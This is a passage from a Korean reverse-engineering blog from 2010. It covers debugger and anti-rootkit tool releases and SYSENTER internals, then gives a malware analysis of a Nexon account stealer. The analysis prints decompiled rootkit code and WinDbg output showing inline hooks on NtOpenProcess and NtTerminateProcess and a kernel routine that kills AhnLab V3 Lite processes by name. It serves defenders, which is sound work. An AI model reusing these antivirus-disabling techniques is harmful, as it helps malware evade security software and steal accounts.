Kernel Detective 1.3.1 버젼에서 업데이트 되었습니다.
개인적인 바램으론 , Windows 7에서 안정성 향상이 되었으면 하는 바램입니다.
일단, 제가 실행해보니 Windows 7 에서는 특별한 문제는 아직까지 발견하지 못했습니다.

Update Date : Wednesday 08 December 2010 - 16:38:33


What's new in v1.4.0 :

- Added plugins system
- Added support for windows server 2008, seven sp1
- Enhanced stability on NT 6.0+ (windows vista/seven)
- Improved driver scan
- Improved code hook scan
- Fixed bug prevent the tool from working on windows xp
- Fixed bug related to long paths
- Fixed bug in process/driver dumper
- Fixed bug in IDT scan




이번 버젼에서 가장 큰 개선점은 , 플러그인 시스템이 지원된다는것입니다.
그중에서 기본으로 탑재되있는 C/C++기반의 스크립트 기능이 강력한것 같네요.
아래 Example 코드를 보시겠습니다.

#include "hxdmp.kds"

USHORT MasterBootRecord[512/sizeof(USHORT)];
UCHAR StatusRegister;
CHAR __strbuff[512];

KdWriteLog("Accessing disk by PIO-Mode ...\r\n");
memset((char *)&MasterBootRecord, 0x00, sizeof(MasterBootRecord));

KdWritePortChar(0x1f6, 0xA0);
KdWritePortChar(0x1f2, 0x01);
KdWritePortChar(0x1f3, 0x01);
KdWritePortChar(0x1f4, 0x00);
KdWritePortChar(0x1f5, 0x00);
KdWritePortChar(0x1f7, 0x20);
for (ULONG tryCounter = 0; tryCounter < 10000; tryCounter++) {
    StatusRegister = KdReadPortChar(0x1f7);
    if (StatusRegister & 0x08)
        break;
}

sprintf(__strbuff, "StatusRegister = %x\r\n", StatusRegister);
KdWriteLog(__strbuff);
KdReadPortBufferShort(0x1f0, MasterBootRecord, 512/sizeof(USHORT));
if (StatusRegister & 0x58) {
    KdWriteLog("Master boot record (MBR):\r\n");
    PCHAR strHexDump = HexDump((PUCHAR)MasterBootRecord, 512);
    KdWriteLog(strHexDump);
    delete strHexDump;
}



위 코드의 실행결과 입니다.


Accessing disk by PIO-Mode ...
StatusRegister = 58
Master boot record (MBR):
0x0000 : 33 c0 8e d0 bc 00 7c 8e c0 8e d8 be 00 7c bf 00 3.....|......|..
0x0010 : 06 b9 00 02 fc f3 a4 50 68 1c 06 cb fb b9 04 00 .......Ph.......
0x0020 : bd be 07 80 7e 00 00 7c 0b 0f 85 0e 01 83 c5 10 ....~..|........
0x0030 : e2 f1 cd 18 88 56 00 55 c6 46 11 05 c6 46 10 00 .....V.U.F...F..
0x0040 : b4 41 bb aa 55 cd 13 5d 72 0f 81 fb 55 aa 75 09 .A..U..]r...U.u.
0x0050 : f7 c1 01 00 74 03 fe 46 10 66 60 80 7e 10 00 74 ....t..F.f`.~..t
0x0060 : 26 66 68 00 00 00 00 66 ff 76 08 68 00 00 68 00 &fh....f.v.h..h.
0x0070 : 7c 68 01 00 68 10 00 b4 42 8a 56 00 8b f4 cd 13 |h..h...B.V.....
0x0080 : 9f 83 c4 10 9e eb 14 b8 01 02 bb 00 7c 8a 56 00 ............|.V.
0x0090 : 8a 76 01 8a 4e 02 8a 6e 03 cd 13 66 61 73 1c fe .v..N..n...fas..
0x00A0 : 4e 11 75 0c 80 7e 00 80 0f 84 8a 00 b2 80 eb 84 N.u..~..........
0x00B0 : 55 32 e4 8a 56 00 cd 13 5d eb 9e 81 3e fe 7d 55 U2..V...]...>.}U
0x00C0 : aa 75 6e ff 76 00 e8 8d 00 75 17 fa b0 d1 e6 64 .un.v....u.....d
0x00D0 : e8 83 00 b0 df e6 60 e8 7c 00 b0 ff e6 64 e8 75 ......`.|....d.u
0x00E0 : 00 fb b8 00 bb cd 1a 66 23 c0 75 3b 66 81 fb 54 .......f#.u;f..T
0x00F0 : 43 50 41 75 32 81 f9 02 01 72 2c 66 68 07 bb 00 CPAu2....r,fh...
0x0100 : 00 66 68 00 02 00 00 66 68 08 00 00 00 66 53 66 .fh....fh....fSf
0x0110 : 53 66 55 66 68 00 00 00 00 66 68 00 7c 00 00 66 SfUfh....fh.|..f
0x0120 : 61 68 00 00 07 cd 1a 5a 32 f6 ea 00 7c 00 00 cd ah.....Z2...|...
0x0130 : 18 a0 b7 07 eb 08 a0 b6 07 eb 03 a0 b5 07 32 e4 ..............2.
0x0140 : 05 00 07 8b f0 ac 3c 00 74 09 bb 07 00 b4 0e cd ......<.t.......
0x0150 : 10 eb f2 f4 eb fd 2b c9 e4 64 eb 00 24 02 e0 f8 ......+..d..$...
0x0160 : 24 02 c3 49 6e 76 61 6c 69 64 20 70 61 72 74 69 $..Invalid parti
0x0170 : 74 69 6f 6e 20 74 61 62 6c 65 00 45 72 72 6f 72 tion table.Error
0x0180 : 20 6c 6f 61 64 69 6e 67 20 6f 70 65 72 61 74 69 loading operati
0x0190 : 6e 67 20 73 79 73 74 65 6d 00 4d 69 73 73 69 6e ng system.Missin
0x01A0 : 67 20 6f 70 65 72 61 74 69 6e 67 20 73 79 73 74 g operating syst
0x01B0 : 65 6d 00 00 00 63 7b 9a 1a ba 12 d7 00 00 80 20 em...c{........ 
0x01C0 : 21 00 07 fe ff ff 00 08 00 00 00 f8 73 07 00 00 !...........s...
0x01D0 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x01E0 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x01F0 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 aa ..............U.


이제 이 프로그램을 사용하는 사람이 어떤 마음을 먹느냐에 달려있다고 봅니다.
개인적으로 이런 좋은 "안티루트킷" 프로그램이 게임핵 따위에 이용되다가 , 
nProtect GG , Ahnlab HS등에 차단되지 않았으면 하는 바램입니다.

Org Referenced : http://at4re.com


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by Sone 2010.12.09 20:46
올리디버거 2.00 버젼이 최종 릴리즈 되었습니다.
아래는 개발자가 밝힌 2.00 버젼의 새로운 특징들을 번역한 것입니다.

version 2.00 already contains many new features that were not available before. Among them:


· Full support for SSE instructions, including SSE3 and SSE4. SSE registers are accessed directly,
without code injection;
> SSE명령어를 모두 지원합니다. Code Injection을 하지 않고도,  SSE 레지스터에 직접적으로 접근 가능합니다.

· Execution of commands in the context of debugger, allowing run trace speed - with conditions and
protocolling! - of up to 1,000,000 commands per second;
> 컨텍스트를 확인해서 , 실행흐름을 보다 자세히 추적할 수 있게 되었습니다.
초당 1개에서 1백만개의 추적이 가능합니다.

주 : 초대박인듯










· Unlimited number of memory breakpoints;
> 메모리 중단점 갯수 제한이 없어졌습니다.

· Conditional memory and hardware breakpoints;
> 조건부  메모리, 하드웨어 중단점 설정이 가능합니다.

· Reliable, analysis-independent hit trace;
> 믿을만한 분석?  의미를 파악하기 힘드네요

· Analyser that recognizes the number (and sometimes the meaning) of the arguments of unknown
functions;
> 알려지지 않은 함수의  인자가 몇개인지 파악할 수 있습니다.

· Detaching from debugged process;
>  디버기 프로세스로부터 디태칭이 가능합니다. 

· Debugging of child processes;
> 자식 프로세스를 디버깅할 수 있습니다.

· Built-in help for integer and FPU commands;
> 정수, 부동 소수점 관련된 명령어에 관해서 자체적으로 탑재된 도움말을 제공합니다.

· Option to pause on TLS callback;
> TLS Callback 루틴에서 정지가 가능합니다.

· Option to pass unprocessed exceptions to the unhandled exception filter.
>처리되지 않은 예외를 Unhandled Exception Filter(다뤄지지않은 예외를 처리하는 필터) 로 넘길 수 있습니다.



위 특징들 말고도,  새로운 특징들이 더 있습니다.



문서화되지않은 명령어들 일부도 지원하는모양이군요.





이번 버젼에서 추가 지원하는 명령어들 중 일부를 나열한것 같네요.  멀티바이트 NOP를 지원한다는 문구도 보입니다.
아니면 원래 지원하는데 제가 이제서야 본건지??





이런이런,,,,명령어들에 대한 상세한 도움말도 자체적으로 제공합니다.  이거 완전  굿이네요




검색기능도 추가된것이 있습니다.
원래 1.10에서는  MOV R32,R32 같은 검색 기능도 있었습니다만,
2.00버젼에서는  MOV R32,ANY  여기서  ANY라는 키워드가 새로 추가되었습니다.
말 그대로 ANY  아무거나 검색한다는 말입니다.
MOV EAX,ANY  라고 검색한다면   MOV EAX, XXXXXXX 형태의  커맨드는 모두 찾아서 표시해줍니다.



그 외에도 help파일에 많은 설명들이 있습니다.



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by Sone 2010.06.05 22:57
KiFastCallEntry의 후킹을 통한 간단한 모니터링 작업


(KiFastCallEntry : SYSENTER명령어는 IA32_SYSENTER_EIP  MSR 레지스터에 저장된 Instrution Pointer를 참조하여
해당 위치로 이동하는데  이때 , IA32_SYSENTER_EIP에는 KiFastCallEntry의 주소가 담겨있다.
KiFastCallEntry 함수의 뜻을 내멋대로 해석을 해보았는데 , 이것이 맞는지는 모르겠지만,
 흔히 SYSENTER 명령어를 이용하는 목적이 빠른 시스템 콜(FastCall)을 위한것이고 , 그것의 Entry Address , 즉 Fast System Call의 EntryPoint 개념이  KiFastCallEntry 함수라고 생각이 된다.)

SYSENTER :  아래는 IA-32 매뉴얼에서 발췌
The SYSENTER and SYSEXIT instructions were introduced into the IA-32 architecture in the Pentium II processors for the purpose of providing a fast (low overhead) mechanism for calling operating system or executive procedures. SYSENTER is intended for use by user code running at privilege level 3 to access operating system or executive procedures running at privilege level 0. SYSEXIT is intended for use by privilege level 0 operating system or executive procedures for fast returns to privilege level 3 user code. SYSENTER can be executed from privilege levels 3, 2, 1, or 0; SYSEXIT can only be executed from privilege level 0.

-> SYSENTER와 SYSEXIT명령어는   펜티엄2 프로세서부터 도입되었으며 ,  유저모드에서 운영체제 레벨로 빠른 특권전환과 함께 프로시져를 호출하는데 그 목적이 있다.SYSENTER는 보통 유저코드에서(Ring3) 커널코드(Ring0)로 특권전환을 이행해서 커널의 프로시져를 호출하는데 사용되는 경향이 있다. SYSEXIT는  Ring0에서 Ring3로 리턴하기 위해서 사용된다.  SYSENTER는  Ring3,2,1,0 에서 사용가능하며 , SYSEXIT는  Ring0에서만 사용 가능하다.

(주 : MS 운영체제에서는 Windows XP 부터 도입되었으며 , 이전의 NT운영체제는 INT 2E를 사용.
XP에서도 이전 NT의 호환성을 위해서 INT 2E를 사용하는 함수인 KiIIntSystemCall이라는 함수가 존재하긴 하나,
거의 사용하는 꼴을 보진 못하였다. 아마 호환성 체크에다가 Windows2000을 선택하면 KiIntSystemCall을 호출하려나?)


For SYSENTER, target fields are generated using the following sources:
•Target code segment — Reads this from IA32_SYSENTER_CS.
•Target instruction — Reads this from IA32_SYSENTER_EIP.
•Stack segment — Computed by adding 8 to the value in IA32_SYSENTER_CS.
•Stack pointer — Reads this from the IA32_SYSENTER_ESP.

For SYSEXIT, target fields are generated using the following sources:
•Target code segment — Computed by adding 16 to the value in the IA32_SYSENTER_CS.
•Target instruction — Reads this from EDX.
•Stack segment — Computed by adding 24 to the value in IA32_SYSENTER_CS.
•Stack pointer — Reads this from ECX.

IA32_SYSENTER_EIP에 관한 정보
Register Address : 0x176 (374d)
Architectural MSR Name : IA32_SYSENTER_EIP


ps. MSR레지스터에 관한 자세한 정보는 IA-32 매뉴얼 Volume 3B의  "Appendix B - Model-Specific Registers" 를 참조하시면 될듯..

mov ecx, Register Address
wrmsr
과  rdmsr  만 있으면  MSR을 마음대로 컨트롤 할수가 있다.
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by Sone 2010.04.20 02:16

본문을  읽기전에 필요한 사전지식으로는

* 윈도우 시스템에 대한 간략한 지식
* 어셈블리언어에 대한 이해
* C언어에 대한 이해
* 후킹 기술에 대한 이해
* 디버깅 경험

정도를 필요로 합니다.

위 이론들을 잘 모르신다면 , 글을 이해하는데 어려움이 있을수 있습니다.

 

우선 글의 목차를 말씀드립니다.

첫번째로는 , 악성코드의 전파경로가 어떻게되는지와 , Dropper 파일의 역할에 대해서 다룹니다.

두번째로는 , Ahnlab V3라이트가 어떤방식으로 해커가 의도한대로 무력화되는지에 대해서 다룹니다.

세번쩨로 , 넥슨ID와 비밀번호가 어떻게 탈취되는지에 대해서 다룹니다.




먼저 악성코드에 대한 설명부터 하겠습니다.

최근 들어 중국발 온라인게임 계정 유출을 목적으로 한 악성코드가 국내에 많이 퍼지고 있습니다.
이 악성코드는 자체적으로 네이트온 메신저를 해킹하여 , 계정과 비밀번호를 가로챈뒤 ,
사용자 몰래 어느 시점에 로그인을 수행해서  해당 사용자의 지인들을 대상으로 하여,
악성코드 다운로드 URL을 무차별적으로 전송시키는 기능을 가지고 있습니다.

쪽지의 내용은 대체적으로 아래와 비슷한 형식으로 퍼지고 있습니다.


하버드 15년 연구제작한 이미지는  뭐 헛소리라고 보시면 될듯하네요.
아마 15년동안 연구 제작한 악성코드 라고 봐야할까요?
어찌됐던 저 파란색 URL주소를 클릭하면  클릭 즉시 악성코드 다운로드 창이 바로 뜹니다.

여기서 하나 당부드리는건 , 저런 쪽지 받으시면 절대 클릭해서는 안된다는겁니다.
뭐 클릭한다고해서 바로 피해보는건 아니지만 막상 파일을 다운로드 받고나면 호기심에 실행해보시는 분들이 여럿 있습니다.
다운로드 받은 파일을 실행하는 즉시,  모든 작업이 이미 이루어져서 컴퓨터내부 곳곳에 뿌려지게 됩니다.


본문에서 분석 설명할 대상 샘플은 위 쪽지를 기반으로 하여 , 가장 최근에 입수한 샘플입니다.

File Name : Animation.scr
File Size : 245KB (251,869 Bytes)
File Date : ‎2010‎년 ‎3‎월 ‎20‎일 ‎토요일, ‏‎오후 7:36:16
CRC32 : B923AAA9
MD5 : F4012760ECD428AE2E717EDA88802AE9
SHA-1 : 520119DF0219800865BA57B4E0821FF4ECC3CEC5


중국해커들은 프로그램을 제작한 뒤  , Binder라는 종류의 프로그램을 써서
하나의 Fake목적의 사진 파일과 , 본질적인 목적의 악성코드 파일,  총 2개의 파일을 하나로 뭉치는 프로그램을 대부분 쓰고 있습니다.
그 결과물이 Animation.scr이라는 파일이고,
이렇게 하나로 뭉쳐진 파일을 실행하게되면 , Fake사진만 화면에 뜨고 모든것이 끝난것처럼 보이게 됩니다.

저는 항상 윈도우탐색기에서 확장자표시 기능을 쓰기 때문에 , Fake인지 쉽게 분간할 수 있지만
대부분의 컴퓨터 사용자들은 확장자표시 기능을 사용하고 있지 않기 때문에 , 저 파일이
화면보호기 파일인지 ,  일반 폴더를 나타내는것인지 바로바로 구분하기가 힘듭니다.
(사실 저도 처음엔 저게 폴더로 진입하는 것인줄 알고 , 한번 실행을 해버렸습니다. 즉, 낚였다는거죠 -_-;;)

scr파일을 풀어보면 2개의 파일이 존재합니다.
jpg는 그냥 쓰잘데기없는 파일이고 , godsan.exe가 핵심입니다.

보통 이러한 악성코드는 간단한 프로텍터로 암호화 해두는 경우가 많습니다.
PEiD 시그내쳐에서는  Morphine v1.2 라고 나오네요.
뭐 어떠한 종류의 Packer가 됐던간에 , 이러한 종류의 악성코드는 뻔한 수법을 쓸게 뻔하기 때문에 손쉽게 Unpacking이 가능합니다.
악성코드가 사용할 법한 API에다가 BreakPoint(중단점) 를 걸어두고 Execution(프로그램 실행) 을 시켜버리는것이죠.
예를 들어서 CreateFile 이란 API를 호출해서 파일을 드랍시킬것이 뻔하기 때문에 CreateFileW에만 BreakPoint를 걸고 Execution을 시켜도,
모든 Packer코드는 풀려져있고 , 악성코드는 하나도 뿌려지지않은 상태에 놓여지기때문에 손쉽게 언패킹이 가능합니다.

자세한 설명은 생략하기로 하고, 어찌됐건  godsan.exe라는 놈의 기능을 정리하면 아래와 같습니다.

1. 파일을 Drop 합니다. 곳곳에 뿌리기 때문에 초보분들은 파일을 전부다 색출해내기가 쉽지 않습니다.

한가지 웃긴게  중국 해커놈들이 요즘 대부분의 보안업체나 악성코드 분석가들이 이러한 종류의 악성코드들이 system32 경로에 뿌려지는것에 익숙해졌다고 판단해서,
이제 GetWindowsDirectory 호출을 해서  Windows Path를 얻어온뒤 , strcat으로 system 경로를 추가시킵니다.
즉 , C:\Windows\system  경로에다가 악성코드를 뿌리는것이지요.
그리고 DLL파일의 형태가 아닌 DAT파일과  log 파일로 뿌리는것을 확인할 수 있습니다.
이것은 일부 백신에서 EXE파일과 DLL파일 패턴의 위주로 빠르게 검사하는 알고리즘을 회피하기 위한 목적입니다.

(참고로  DLL을 DAT로 뿌린다고 해서 실행에는 아무런 문제가 없습니다. LoadLibrary 호출 후 GetProcAddress를 호출하는건 마찬가지로 정상작동 됩니다..)



------------핵심 파일들에 대한 간단한 분석------------
* 위 파일 목록에서 Exewen.exe  파일은  최초 유포파일인 godsan.exe와 100% 동일한 파일입니다.

* Lin.log 파일은  godsan.exe 파일의 PE헤더에서 MZ문자열을 ML 이라는 문자열로 바꿔버려서 PE파일이 아닌것처럼 속이기 위해서 저장된 파일입니다. 그 뒤에 Lin.log 파일을 Exewen.exe 라는 파일로 자기복제를 수행합니다.
이러한 작업의 수행은 Baidog.dat 파일 내부에서 이뤄집니다.
  이것또한 백신의 탐지를 우회하기 위해서 이런짓을 하는것으로 보여집니다.

* Baidog.DAT 파일이 실질적인 계정 유출을 담당하는 파일이며, 원래는 DLL 파일입니다.

* Lcomres.Dat 파일은 PE헤더 문자열이 ML로 조작되어져 있는 Exewen.exe 파일을 MZ문자열로 바꾸는 기능을 가지고 있습니다.

* Sting.log 파일은 MS윈도우 커널에 루트킷 드라이버를 로드시키기 위한 SYS 파일입니다.






2.  리버스 엔지니어링을 방지하기 위한 Code Obfuscation(코드 난독화)
거창하게 난독화 기법이 적용된건 아니고 , 중간중간에 조금씩 적용시켜놨네요.
마치 Themida SDK에서 제공하는 매크로 함수 형태처럼 적용시켜놓은것 같군요.
어찌됐건 저러한 난독화 기법이 분석하는데 영향을 줄 정도는 아닙니다.
분명한것은 , 이전 버젼의 이러한 악성코드는 난독화 기법은 쓰지않았었는데 , 최근 샘플은 좀 업그레이드 됐군요.


3. 윈도우 메시지 훅 프로시저 설치 - DLL Injection

Baidog.DAT파일을 LoadLibraryA -> GetProcAddress (Export된 Function Address를 구해옴) -> 전역 함수포인터에 주소를 저장
-> 전역 함수 포인터 호출


Export Function의 이름은 KaiShi 라는 이름의 함수였습니다.
KaiShi가 중국어 같은데 무슨말일까요?   - Kaishi : 시작하다 - 
KaiShi 함수는 윈도우메시지 훅 프로시저를 설치합니다. 유저 프로세스에 전역적으로 Baidog.Dat 를 인젝션을 하겠다는 목적이죠.



그럼 이제 Baidog.Dat 파일을  살펴봅시다.


여기서부터 Ahnlab의 V3라이트가 어떤방식으로 무력화 되는지에 대해서 다룹니다.

1. 루트킷 설치

Sting.log
이라는 놈을 sysnames.sys 라는 파일로 C:\Windows\system\에다가 복사한 뒤,
커널 드라이버를 로드합니다. 그 후 sysnames.sys 파일은 삭제시킵니다.

sysnames.sys  루트킷은  아래와 같이 SSDT Hooking의 역할을 수행합니다.



Hooking 타겟 Native API 함수는 아래와 같습니다.
NtOpenProcess
NtTerminateProcess


후킹된 부분을 디스어셈블 해보면 아래와 같습니다.

0: kd> u nt!NtOpenProcess
nt!NtOpenProcess:
805cd40a e941366878      jmp     sysnames+0xa50 (f8c50a50)
805cd40f 68c0c44d80      push    offset nt!ObWatchHandles+0x25c (804dc4c0)
805cd414 e87707f7ff      call    nt!_SEH_prolog (8053db90)
805cd419 33f6            xor     esi,esi                    (NtOpenProcess + 0x0F)
805cd41b 8975d4          mov     dword ptr [ebp-2Ch],esi
805cd41e 33c0            xor     eax,eax
805cd420 8d7dd8          lea     edi,[ebp-28h]
805cd423 ab              stos    dword ptr es:[edi]

NtOpenProcess 앞단을 따내서 자신의 드라이버영역으로 끌고오는것을 확인할 수 있습니다.
InterlockedExchange를 이용한  주소 교체 방식의 후킹을 수행하지않고, 인라인 후킹을 수행합니다.
이렇게 되면 SSDT Restore와  SSDT Hook에 구애받지 않고 , 원하는 목적을 수행할 수 있습니다.

점프된 영역을 디스어셈블 해보면 다음과 같습니다.
0: kd> u f8c50a50
sysnames+0xa50:
f8c50a50 68c4000000      push    0C4h
f8c50a55 8b358814c5f8    mov     esi,dword ptr [sysnames+0x1488 (f8c51488)]  esi = nt!ObWatchHandles+0x25c
f8c50a5b 56              push    esi
f8c50a5c ff159814c5f8    call    dword ptr [sysnames+0x1498 (f8c51498)]   원본 SEH설치 함수
f8c50a62 ff258c14c5f8    jmp     dword ptr [sysnames+0x148c (f8c5148c)]  NtOpenProcess+0xf 영역으로 점프
f8c50a68 cc              int     3
f8c50a69 cc              int     3
f8c50a6a cc              int     3

즉 , 이 코드의 최종흐름은 다음과 같습니다.
push 0x0c4
push    offset nt!ObWatchHandles+0x25c (804dc4c0)
call    nt!_SEH_prolog (8053db90)
xor     esi,esi                    (NtOpenProcess + 0x0F)
mov     dword ptr [ebp-2Ch],esi
............................

NtOpenProcess 후킹의 목적은 정보 가로챔등의 특별한 목적이 있는 후킹이 아니라,
Ahnlab의  SSDT Inline Hook을 무력화 하기 위해서 시행하는것으로 판단됩니다.
중국해커가 Ahnlab V3 Lite 의 정확한 분석을 통해서 드라이버를 작성한것으로 생각됩니다.


참고로 Ahnlab V3 Lite 나 HackShield 등에서 사용하고있는 NtOpenProcess 후킹방식은 
call nt!_SEH_prolog (8053db90) 부분을 Inline Patch 해서  보안모듈로 넘어오게끔 하는 방식으로 되어져 있습니다.


아래의 화면을 보시면 핵쉴드가 써먹는 NtOpenProcess 인라인 후킹 수법을 보여주고 있습니다.
원래 call    nt!_SEH_prolog (8053db90)  이 호출되어야 할 부분에서 EagleNT 모듈을 호출하는것을 확인할 수 있죠.
V3 백신도 이것과 동일하게 적용되어져 있습니다.





그런데 루트킷에 감염되게되면 다음과 같이 되죠.
스샷이 짤려서 보이게되면 , 클릭해서 보시면 됩니다.

보안프로그램에서 인라인 후킹해놓은 지점을 건너뛰어버립니다.
따라서 후킹하기전의 상태로 돌려놓는 것이 되버리죠.




다음은 NtTerminateProcess 입니다.
0: kd> u nt!NtTerminateProcess
nt!NtTerminateProcess:
805d49ac 8bff            mov     edi,edi
805d49ae 55              push    ebp
805d49af 8bec            mov     ebp,esp
805d49b1 83ec10          sub     esp,10h
805d49b4 53              push    ebx
805d49b5 56              push    esi
805d49b6 57              push    edi
805d49b7 64a124010000    mov     eax,dword ptr fs:[00000124h]
0: kd> u
nt!NtTerminateProcess+0x11:
805d49bd 837d0800        cmp     dword ptr [ebp+8],0
805d49c1 8bf8            mov     edi,eax
805d49c3 8b4744          mov     eax,dword ptr [edi+44h]
805d49c6 8945f0          mov     dword ptr [ebp-10h],eax
805d49c9 7406            je      nt!NtTerminateProcess+0x25 (805d49d1)
805d49cb c645ff01        mov     byte ptr [ebp-1],1
805d49cf eb08            jmp     nt!NtTerminateProcess+0x2d (805d49d9)
805d49d1 834d08ff        or      dword ptr [ebp+8],0FFFFFFFFh
0: kd> u
nt!NtTerminateProcess+0x29:
805d49d5 c645ff00        mov     byte ptr [ebp-1],0
805d49d9 8a8740010000    mov     al,byte ptr [edi+140h]
805d49df 6a00            push    0
805d49e1 8845f8          mov     byte ptr [ebp-8],al
805d49e4 8d45f8          lea     eax,[ebp-8]
805d49e7 50              push    eax
805d49e8 ff75f8          push    dword ptr [ebp-8]
805d49eb ff35b8595680    push    dword ptr [nt!PsProcessType (805659b8)]
0: kd> u
nt!NtTerminateProcess+0x45:
805d49f1 e97ac06778      jmp     sysnames+0xa70 (f8c50a70)
805d49f6 e8a58afeff      call    nt!ObReferenceObjectByHandle (805bd4a0)
805d49fb 85c0            test    eax,eax
805d49fd 8b75f8          mov     esi,dword ptr [ebp-8]
805d4a00 8bde            mov     ebx,esi
805d4a02 0f8ce8000000    jl      nt!NtTerminateProcess+0x144 (805d4af0)
805d4a08 8d8648020000    lea     eax,[esi+248h]
805d4a0e f6400120        test    byte ptr [eax+1],20h

ObReferenceObjectByHandle을 호출하기전에  자신의 드라이버로 건너뛰게 패치되어져 있습니다.
즉 , Ahnlab V3 라이트에서는  
call   nt!ObReferenceObjectByHandle (805bd4a0) 부분을 Inline Hook 작성해놨을 가능성이 크다는거죠.

결론적으로 NtOpenProcess와  NtTerminateProcess를 후킹하는목적은
Ahnlab V3 Lite의  자가보호 기능을 무력화 시키기 위함입니다.

강제 종료 로직은 , 유저모드 DLL에서 수행하는것이 아닌 , 커널모드 루트킷에서 강제종료를 수행하는것으로 분석되었습니다.
(나중에 해당 로직이 나옵니다.)


해커에게 표적이 된 프로세스 목록은 다음과 같습니다.

 'V3LTray.exe'
 'KSWebShield.exe'
'SgSvc.exe'
 'V3LSvc.exe'
 'V3Light.exe'


참고로 이 악성코드에 감염되게 되면 , 현재 V3 라이트가 실행중이라면 V3 라이트 가 종료되게 되고,
V3 라이트가 시스템에 설치되어져 있지않은 상태에서 , V3 라이트를 설치해서 실행하려고 하면
V3 라이트와 사이트가드 관련 서비스는 실시간으로 모두 강제 종료되게되서 , 전혀 작동하지 않는 상태가 됩니다.


 
이제 프로세스를 어떻게 강제로 종료시키는지, 해당 부분을 알아봅시다.
아래는 강제종료에 관련한 코드를  IDA Hexray를 이용해서 나타낸 것입니다.

(참고 : 아래 부분은 PsSetCreateProcessNotifyRoutine에 의해서 프로세스 생성 , 종료시 호출되는 NotifyRoutine으로 등록된 부분의 핵심부분을 나타낸겁니다.)


result = PsLookupProcessByProcessId(a2, &v9);
    if ( result >= 0 )
    {
      if ( v9 )
      {
        v4 = (const char *)PsGetProcessImageFileName(v9);
        if ( !stricmp(v4, "V3LTray.exe") )
        {
          dword_11490 = a2;
          PsCreateSystemThread(&ThreadHandle, 0, 0, 0, 0, (PKSTART_ROUTINE)StartRoutine, 0);
        }
        v5 = (const char *)PsGetProcessImageFileName(v9);
        if ( !stricmp(v5, "KSWebShield.exe") )
        {
          dword_11490 = a2;
          PsCreateSystemThread(&ThreadHandle, 0, 0, 0, 0, (PKSTART_ROUTINE)StartRoutine, 0);
        }
        v6 = (const char *)PsGetProcessImageFileName(v9);
        if ( !stricmp(v6, "SgSvc.exe") )
        {
          dword_11490 = a2;
          PsCreateSystemThread(&ThreadHandle, 0, 0, 0, 0, (PKSTART_ROUTINE)StartRoutine, 0);
        }
        v7 = (const char *)PsGetProcessImageFileName(v9);
        if ( !stricmp(v7, "V3LSvc.exe") )
        {
          dword_11490 = a2;
          PsCreateSystemThread(&ThreadHandle, 0, 0, 0, 0, (PKSTART_ROUTINE)StartRoutine, 0);
        }
        v8 = (const char *)PsGetProcessImageFileName(v9);
        result = stricmp(v8, "V3Light.exe");
        if ( !result )
        {
          dword_11490 = a2;
          result = PsCreateSystemThread(&ThreadHandle, 0, 0, 0, 0, (PKSTART_ROUTINE)StartRoutine, 0);
        }

해당 프로세스를 발견하면  시스템쓰레드를 생성해서 특정한 작업을 수행합니다.
StartRoutine을 살펴보니 다음과 같았습니다.


NTSTATUS __stdcall StartRoutine(int a1)
{
  sub_10A90(5000);
  sub_10D10((void *)dword_11490);
  return PsTerminateSystemThread(0);
}
NTSTATUS __stdcall sub_10A90(int a1)
{
  LARGE_INTEGER Interval; // [sp+0h] [bp-8h]@1

  Interval = (LARGE_INTEGER)(-10000i64 * a1);
  return KeDelayExecutionThread(0, 0, &Interval);
}
NTSTATUS __stdcall sub_10D10(void *a1)
{
  OBJECT_ATTRIBUTES ObjectAttributes; // [sp+4h] [bp-28h]@1
  void *v3; // [sp+1Ch] [bp-10h]@1
  CLIENT_ID ClientId; // [sp+20h] [bp-Ch]@1
  HANDLE Handle; // [sp+28h] [bp-4h]@1

  Handle = 0;
  v3 = a1;
  ObjectAttributes.Length = 24;
  ObjectAttributes.RootDirectory = 0;
  ObjectAttributes.Attributes = 0;
  ObjectAttributes.ObjectName = 0;
  ObjectAttributes.SecurityDescriptor = 0;
  ObjectAttributes.SecurityQualityOfService = 0;
  ClientId.UniqueProcess = a1;
  ClientId.UniqueThread = 0;
  if ( !NtOpenProcess(&Handle, 0x1F0FFFu, &ObjectAttributes, &ClientId) )
    ((void (__stdcall *)(_DWORD, _DWORD))dword_11494)(Handle, 0);
  return ZwClose(Handle);
}

위 코드에서 주목해야할 부분은 
    ((void (__stdcall *)(_DWORD, _DWORD))dword_11494)(Handle, 0);
부분입니다.

NtOpenProcess를 먼저 호출한뒤에 , NtOpenProcess가 성공한다면 STATUS_SUCCESS (0x00000000L) 이 리턴될것이고

그러면 dword_11494의 함수포인터를 호출하겠죠.
dword_11494가 무엇인지 확인해보기 위해서  코드 레퍼런스를 추적해보니  다음과 같은 디스어셈블 코드가 나왔습니다.
mov     edx, ds:KeServiceDescriptorTable
mov     eax, [edx]
add     eax, 404h

mov     [ebp+var_C], eax
mov     ecx, [ebp+var_C]
mov     edx, [ecx]
mov     dword_11494, edx


위 코드의 의미를 WinDBG에서 먹히는 명령어로 변환해보면 다음과 같습니다.
0: kd> dds poi(KeServiceDescriptorTable) + 0x404
80506864  805d49ac nt!NtTerminateProcess
80506868  805d4ba6 nt!NtTerminateThread
8050686c  805d6c0c nt!NtTestAlert
80506870  80537108 nt!NtTraceEvent
80506874  8061811e nt!NtTranslateFilePath
80506878  805862ce nt!NtUnloadDriver
8050687c  80624062 nt!NtUnloadKey
80506880  8062427c nt!NtUnloadKeyEx

0: kd> r $t0 = poi(KeServiceDescriptorTable) + 0x404
0: kd> r $t1 = poi(@$t0)

0: kd> u @$t1
nt!NtTerminateProcess:
805d49ac 8bff            mov     edi,edi
805d49ae 55              push    ebp
805d49af 8bec            mov     ebp,esp
805d49b1 83ec10          sub     esp,10h
805d49b4 53              push    ebx
805d49b5 56              push    esi
805d49b6 57              push    edi
805d49b7 64a124010000    mov     eax,dword ptr fs:[00000124h]

0: kd> r $t2 = poi(@$t1)
0: kd> r $t2
$t2=8b55ff8b  (Byte 참조 순서가 거꾸로인 이유는  IA-32 Compatible CPU는  Little Endian 방식의 메모리 참조를 하기 때문.)


자...이제 아시겠죠?
NtTerminateProcess를 커널모드에서도 호출하고 있음을 명확하게 확인할 수 있습니다.
0x404는  서비스넘버를 하드코딩한것으로 보입니다.
PsGetVersion을 호출해서 OS별로 서비스넘버를 하드코딩한게 아니라 ,
